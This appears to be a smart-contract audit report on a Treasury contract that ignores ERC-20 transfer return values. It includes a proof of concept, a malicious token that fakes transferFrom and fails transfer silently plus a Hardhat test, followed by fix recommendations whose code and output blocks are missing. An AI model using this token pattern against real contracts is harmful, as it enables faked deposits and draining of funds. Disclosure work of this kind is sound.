Core Contracts

Summary

The Treasury contract is vulnerable to silent transfer failures due to missing return value checks when interacting with ERC-20 tokens. If a malicious or non-standard token fails a transferFrom or transfer operation without reverting, the contract incorrectly assumes the transaction was successful, leading to fund misaccounting.

Vulnerability Details

The vulnerability arises from ignoring the return values of IERC20.transferFrom and IERC20.transfer calls in the Treasury contract:

1️⃣ deposit() function (contracts/core/collectors/Treasury.sol:50)

• Issue: The function does not check if transferFrom returned true.

• Risk: A malicious token could always return false, tricking the contract into recording a deposit that never actually happened.

2️⃣ withdraw() function (contracts/core/collectors/Treasury.sol:75)

• Issue: The function does not check if transfer returned true.

• Risk: If a token silently fails (returns false without reverting), the Treasury will deduct the balance internally but never actually transfer the funds, leading to misaccounted funds.

Impact

• Misaccounted Funds: The Treasury thinks it holds more assets than it actually does, leading to incorrect reporting.

• Loss of Funds: If withdraw() is called on a non-standard or malicious token that always returns false, funds are deducted internally but never received by the recipient.

• Potential Exploits: Attackers can use malicious tokens to fake deposits and later withdraw actual funds, draining the Treasury.

Even though only managers can initiate withdrawals, the Treasury contract incorrectly assumes all transfers succeed without verifying their outcomes. This leads to misaccounted funds, and since deposits also lack proper validation, a regular user—without any special roles—can still exploit the vulnerability.

PoC

1. Create the MockMalicious.sol

   // SPDX-License-Identifier: MIT

   pragma solidity ^0.8.19;

   ​

   import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

   ​

   contract MaliciousToken is ERC20 {

   constructor() ERC20("MaliciousToken", "MAL") {

   _mint(msg.sender, 1000000 * 10 ** decimals());

   }

   ​

   // Fake deposit: Returns true without actually transferring tokens

   function transferFrom(address, address, uint256) public override returns (bool) {

   return true; // Treasury thinks deposit succeeded but no real transfer happens

   }

   ​

   // Fake withdrawal: Always fails but does NOT revert

   function transfer(address, uint256) public override returns (bool) {

   return false; // Withdrawal fails silently

   }

   }

   ​

2. Create the test file

   import { expect } from "chai";

   import hre from "hardhat";

   const { ethers } = hre;

   ​

   describe("Treasury Vulnerability Test", function () {

   let owner, user, manager, treasury, maliciousToken;

   ​

   beforeEach(async function () {

   [owner, user, manager] = await ethers.getSigners();

   ​

   // Deploy Malicious Token

   const MaliciousToken = await ethers.getContractFactory("MaliciousToken");

   maliciousToken = await MaliciousToken.deploy();

   await maliciousToken.waitForDeployment();

   ​

   // Deploy Treasury contract

   const Treasury = await ethers.getContractFactory("Treasury");

   treasury = await Treasury.deploy(owner.address);

   await treasury.waitForDeployment();

   ​

   // Grant manager role

   const MANAGER_ROLE = ethers.id("MANAGER_ROLE");

   await treasury.grantRole(MANAGER_ROLE, manager.address);

   ​

   // Fake deposit: Treasury "thinks" it has tokens, but it doesn’t

   await treasury.connect(user).deposit(await maliciousToken.getAddress(), ethers.parseEther("100"));

   });

   ​

   it("should NOT revert when transfer fails, causing fund misaccounting", async function () {

   const amount = ethers.parseEther("50");

   ​

   // Check treasury's *internal* balance (which is incorrect)

   console.log(

   "Treasury Internal Balance Before Withdrawal:",

   (await treasury.getBalance(await maliciousToken.getAddress())).toString()

   );

   ​

   // Check treasury's *actual* token balance (which should be zero)

   console.log(

   "Actual Treasury Token Balance Before Withdrawal:",

   (await maliciousToken.balanceOf(await treasury.getAddress())).toString()

   );

   ​

   // Treasury (Manager) tries to withdraw

   await expect(

   treasury.connect(manager).withdraw(await maliciousToken.getAddress(), amount, user.address)

   ).to.not.be.reverted;

   ​

   // User should NOT receive tokens (transfer always fails)

   expect(await maliciousToken.balanceOf(await user.getAddress())).to.equal(0n); // ✅ Use `BigInt` format

   ​

   // Treasury's actual balance should remain 0

   expect(await maliciousToken.balanceOf(await treasury.getAddress())).to.equal(0n);

   ​

   // Treasury's *internal balance* is now wrong (misaccounting happened)

   console.log(

   "Treasury Internal Balance After Withdrawal:",

   (await treasury.getBalance(await maliciousToken.getAddress())).toString()

   );

   console.log(

   "Actual Treasury Token Balance After Withdrawal:",

   (await maliciousToken.balanceOf(await treasury.getAddress())).toString()

   );

   ​

   console.log("✅ Test Passed: Treasury misaccounted funds due to silent transfer failure!");

   });

   });

   ​

The output:

Tools Used

Hardhat

Recommendations

✅ 1. Check return values of transfer and transferFrom

Modify both functions to explicitly check return values:

Why? Ensures that deposits and withdrawals only proceed if tokens are actually transferred.

✅ 2. Use OpenZeppelin’s SafeERC20

Instead of calling IERC20 directly, use SafeERC20, which automatically reverts if a token fails to transfer:

Why? Prevents silent failures by ensuring transfers either succeed or revert.

✅ 3. Validate Actual Treasury Balance

Before recording deposits, check the Treasury’s actual token balance:

Why? Ensures deposits only succeed if the Treasury actually receives the tokens.